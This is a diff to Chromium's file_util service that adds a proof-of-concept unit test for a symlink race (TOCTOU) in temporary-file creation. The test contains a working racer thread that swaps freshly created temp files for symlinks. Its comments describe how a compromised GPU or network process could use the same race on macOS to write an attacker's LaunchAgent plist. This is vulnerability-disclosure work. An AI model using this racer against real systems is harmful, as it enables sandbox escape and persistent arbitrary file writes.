diff --git a/chrome/services/file_util/public/cpp/BUILD.gn b/chrome/services/file_util/public/cpp/BUILD.gn index 28b971b8d1c5d9..6ee2dbdbc92fa7 100644 --- a/chrome/services/file_util/public/cpp/BUILD.gn +++ b/chrome/services/file_util/public/cpp/BUILD.gn @@ -77,6 +77,21 @@ if (safe_browsing_mode == 1) { } } +if (is_posix && safe_browsing_mode == 1) { + import("//testing/test.gni") + test("temporary_file_getter_toctou_test") { + sources = [ "temporary_file_getter_unittest.cc" ] + deps = [ + ":cpp", + "//base", + "//base/test:run_all_unittests", + "//base/test:test_support", + "//content/test:test_support", + "//testing/gtest", + ] + } +} + if (is_chromeos) { source_set("browser_tests") { testonly = true diff --git a/chrome/services/file_util/public/cpp/temporary_file_getter_unittest.cc b/chrome/services/file_util/public/cpp/temporary_file_getter_unittest.cc index 91017ca056c296..866e629c18272d 100644 --- a/chrome/services/file_util/public/cpp/temporary_file_getter_unittest.cc +++ b/chrome/services/file_util/public/cpp/temporary_file_getter_unittest.cc @@ -3,9 +3,23 @@ // found in the LICENSE file. #include "chrome/services/file_util/public/cpp/temporary_file_getter.h" + +#include + +#include "base/files/file_util.h" +#include "base/files/scoped_temp_dir.h" +#include "base/scoped_environment_variable_override.h" +#include "base/threading/platform_thread.h" +#include "build/build_config.h" #include "content/public/test/browser_task_environment.h" #include "testing/gtest/include/gtest/gtest.h" +#if BUILDFLAG(IS_POSIX) +#include +#include +#include +#endif + namespace safe_browsing { class TemporaryFileGetterTest : public ::testing::Test { @@ -45,4 +59,188 @@ TEST_F(TemporaryFileGetterTest, ExceedFileLimitTest) { EXPECT_FALSE(temp_file_.IsValid()); } +#if BUILDFLAG(IS_POSIX) +// ----------------------------------------------------------------------------- +// POC: Demonstrates the mkstemp-then-reopen TOCTOU in TemporaryFileGetterHelper. +// +// TemporaryFileGetterHelper() does: +// 1. base::CreateTemporaryFile(&path) -> mkstemp(), then ScopedFD destructor +// CLOSES the fd, leaving only `path`. +// 2. base::File::Initialize(path, FLAG_CREATE_ALWAYS|...|FLAG_DELETE_ON_CLOSE) +// -> open(path, O_CREAT|O_TRUNC|O_RDWR) +// with NO O_NOFOLLOW. +// +// Between (1) and (2), a co-tenant of the temp directory can unlink the file +// and replace it with a symlink to an arbitrary target. The browser then +// truncates the target, returns a writable fd to it, and the unlink() done by +// FLAG_DELETE_ON_CLOSE removes only the symlink — the target persists with the +// attacker's chosen bytes. +// +// On macOS, the browser's GetTempDir() (NSTemporaryDirectory) is the same +// _CS_DARWIN_USER_TEMP_DIR that gpu.sb / network.sb grant the sandboxed GPU and +// network processes file-write-create + file-write-unlink on. So a compromised +// GPU/network process can run exactly the racer below against the unsandboxed +// browser, obtaining a browser-privilege arbitrary file write. +// +// This test runs the racer in-process to prove the primitive on any POSIX +// platform; the macOS sandbox escape uses the same operations from another +// process. +// ----------------------------------------------------------------------------- + +namespace { + +// Racer thread: simulates a compromised macOS GPU/network process. It spins on +// readdir() of the (shared) temp directory; when a new entry matching the +// browser's mkstemp pattern appears, it does unlink() + symlink() to redirect +// the browser's subsequent open-by-path to `target`. +class SymlinkRacer : public base::PlatformThread::Delegate { + public: + SymlinkRacer(base::FilePath watch_dir, base::FilePath target) + : watch_dir_(std::move(watch_dir)), target_(std::move(target)) {} + + void ThreadMain() override { + // Tight readdir loop — exactly what gpu.sb permits via file-read* on + // (subpath (param darwin-user-temp-dir)). + while (!stop_.load(std::memory_order_relaxed)) { + DIR* d = opendir(watch_dir_.value().c_str()); + if (!d) { + continue; + } + struct dirent* ent; + while ((ent = readdir(d)) != nullptr) { + // mkstemp creates a regular file; match the browser's temp-name prefix + // (".org.chromium.Chromium." on Linux/Chromium, + // ".." on macOS). + if (ent->d_name[0] != '.' || ent->d_name[1] == '\0' || + ent->d_name[1] == '.') { + continue; + } + std::string full = watch_dir_.Append(ent->d_name).value(); + struct stat st; + if (lstat(full.c_str(), &st) != 0 || !S_ISREG(st.st_mode)) { + continue; + } + // Race: swap the just-mkstemp'd regular file for a symlink to the + // attacker-chosen target. file-write-unlink + file-write-create per + // gpu.sb:124-128 / file-write* per network.sb:50-53. + if (unlink(full.c_str()) == 0 && + symlink(target_.value().c_str(), full.c_str()) == 0) { + swaps_.fetch_add(1, std::memory_order_relaxed); + } + } + closedir(d); + } + } + + void Stop() { stop_.store(true, std::memory_order_relaxed); } + int swaps() const { return swaps_.load(std::memory_order_relaxed); } + + private: + const base::FilePath watch_dir_; + const base::FilePath target_; + std::atomic stop_{false}; + std::atomic swaps_{0}; +}; + +} // namespace + +TEST(TemporaryFileGetterSymlinkRaceTest, MkstempThenReopenFollowsSymlink) { + // Isolated "shared" temp dir: stands in for _CS_DARWIN_USER_TEMP_DIR which on + // macOS the browser and the GPU/network sandboxes both have write access to. + base::ScopedTempDir shared_tmp; + ASSERT_TRUE(shared_tmp.CreateUniqueTempDir()); + + // The attacker's chosen target file — on macOS this would be e.g. + // ~/Library/LaunchAgents/com.pwn.plist. Seed it with sentinel content so we + // can detect the browser's O_TRUNC + write. + base::ScopedTempDir target_dir; + ASSERT_TRUE(target_dir.CreateUniqueTempDir()); + const base::FilePath target = target_dir.GetPath().Append("victim.plist"); + const std::string original = "ORIGINAL_VICTIM_CONTENTS"; + ASSERT_TRUE(base::WriteFile(target, original)); + + // Redirect the browser's GetTempDir() to the shared dir for the duration of + // the test (POSIX GetTempDir reads $TMPDIR; macOS reads + // $MAC_CHROMIUM_TMPDIR / NSTemporaryDirectory — both resolve to the dir the + // GPU sandbox has write access to in production). + base::ScopedEnvironmentVariableOverride tmpdir_override( + "TMPDIR", shared_tmp.GetPath().value()); + + // Start the racer (== compromised GPU/network process). + SymlinkRacer racer(shared_tmp.GetPath(), target); + base::PlatformThreadHandle racer_handle; + ASSERT_TRUE(base::PlatformThread::Create(0, &racer, &racer_handle)); + + content::BrowserTaskEnvironment task_environment; + + // The bytes the attacker wants written to `target`. In the real attack these + // are the body of the single entry in the drive-by-downloaded ZIP, which + // ZipAnalyzer::ResumeExtraction copies through the returned fd. + const std::string payload = "ATTACKER_CONTROLLED_LAUNCHAGENT_PLIST_PAYLOAD"; + + bool race_won = false; + constexpr int kMaxAttempts = 20000; // Unbounded retries in the real attack + // (fresh TemporaryFileGetter per + // download); cap here for test runtime. + int attempt = 0; + for (; attempt < kMaxAttempts && !race_won; ++attempt) { + // Fresh getter each iteration == fresh download in the real attack, so the + // 10-file cap never applies. + TemporaryFileGetter getter; + base::File got; + getter.RequestTemporaryFile( + base::BindOnce([](base::File* out, base::File f) { *out = std::move(f); }, + &got)); + task_environment.RunUntilIdle(); + if (!got.IsValid()) { + // Racer unlinked after the browser's open() — the open then saw the + // symlink-less path and O_CREAT|O_TRUNC created a fresh file at the + // symlink path... actually no: if unlink happened *after* open, open + // succeeded on the regular file. Invalid here means open() failed for + // some other transient reason; just retry. + continue; + } + // Simulate the file_util utility (ZipAnalyzer::ResumeExtraction) writing + // the attacker's archive-entry bytes through the fd it received over Mojo. + got.Seek(base::File::FROM_BEGIN, 0); + got.SetLength(0); + got.WriteAtCurrentPos(base::as_byte_span(payload)); + got.Flush(); + + // Did the browser's open() follow the racer's symlink? + std::string now; + ASSERT_TRUE(base::ReadFileToString(target, &now)); + if (now == payload) { + race_won = true; + } + } + + racer.Stop(); + base::PlatformThread::Join(racer_handle); + + // The TOCTOU window between CreateTemporaryFile (mkstemp + close) and + // File::Initialize (open by path, no O_NOFOLLOW) lets the racer redirect the + // browser's open to an arbitrary file. + EXPECT_TRUE(race_won) + << "Symlink race not won after " << kMaxAttempts << " attempts (" + << racer.swaps() << " swaps performed). The window is small but real; " + << "increase kMaxAttempts if this is flaky on slow bots."; + if (race_won) { + fprintf(stderr, + "[POC] TOCTOU race WON after %d attempt(s), %d swap(s): browser " + "opened symlink target with O_CREAT|O_TRUNC|O_RDWR and wrote " + "attacker bytes to %s\n", + attempt, racer.swaps(), target.value().c_str()); + + // FLAG_DELETE_ON_CLOSE only unlink()'d the *path* (the symlink). The + // target file persists with the attacker's bytes — i.e. a durable + // browser-privilege arbitrary file write. + std::string persisted; + EXPECT_TRUE(base::ReadFileToString(target, &persisted)); + EXPECT_EQ(persisted, payload); + EXPECT_TRUE(base::PathExists(target)); + } +} +#endif // BUILDFLAG(IS_POSIX) + } // namespace safe_browsing